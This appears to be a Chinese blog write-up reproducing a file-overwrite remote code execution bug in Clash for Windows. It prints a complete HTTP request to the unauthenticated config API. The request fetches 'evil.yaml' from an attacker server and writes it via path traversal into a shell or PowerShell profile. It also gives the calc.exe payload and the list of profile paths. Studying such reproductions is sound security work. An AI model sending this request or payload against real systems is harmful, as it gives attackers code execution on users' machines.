clash文件覆写导致RCE

漏洞复现

创建时间:2023-06-19 18:03

阅读:

环境准备
前言
复现过程
代码跟踪
总结
参考链接

环境准备

影响版本：<=0.19.8
复现环境：
windows+clash for windows+内核clash-windows-amd64-v1.15.0+未设置secret

前言

默认先走授权，有secret无法利用
（2021年后默认随机UUID的secret，端口随机）

复现过程

API请求包

PUT /configs?force=true HTTP/1.1
Host: 127.0.0.1:9090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 326


{"payload":"mixed-port: 7890\nallow-lan: false\nmode: rule\nlog-level: warning\nproxy-providers:\n  provider1:\n    type: http\n    url: 'http://127.0.0.1:9999/evil.yaml'\n    interval: 3600\n    path: ../../.zshenv\n    healthcheck:\n      enable: true\n      interval: 600\n      url: http://www.gstatic.com/generate_204"}

windows下的payload
vps开http.server
evil.yaml

calc.exe && echo :
proxies:
  - {name: vP, server: n04.a00x.party, port: 18000, type: ssr, cipher: aes-256-cfb, password: AFX92CS, protocol: auth_aes128_sha1, obfs: http_simple, protocol-param: 232991:xSnSFv, obfs-param: download.windowsupdate.com, udp: true}
#>

通过利用powershell自定义.profile来执行命令。当用户打开powershell将触发
（还需要powershell运行脚本执行才能成功）

1、%windir%\system32\WindowsPowerShell\v1.0\profile.ps1
它作用于所有用户、所有的Shell。


2、%windir%\system32\WindowsPowerShell\v1.0\ Microsoft.PowerShell_profile.ps1
作用于所有用户，但只作用于Microsoft.PowerShell这个shell。这个我也没懂是什么意思，难道还有不是PowerShell的PowerShell shell？呃，有点像绕口令。


3、%UserProfile%\My Documents\WindowsPowerShell\profile.ps1
作用于当前用户的所有shell。


4、%UserProfile%\My Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
作用于当前用户的Microsoft.PowerShell这个shell。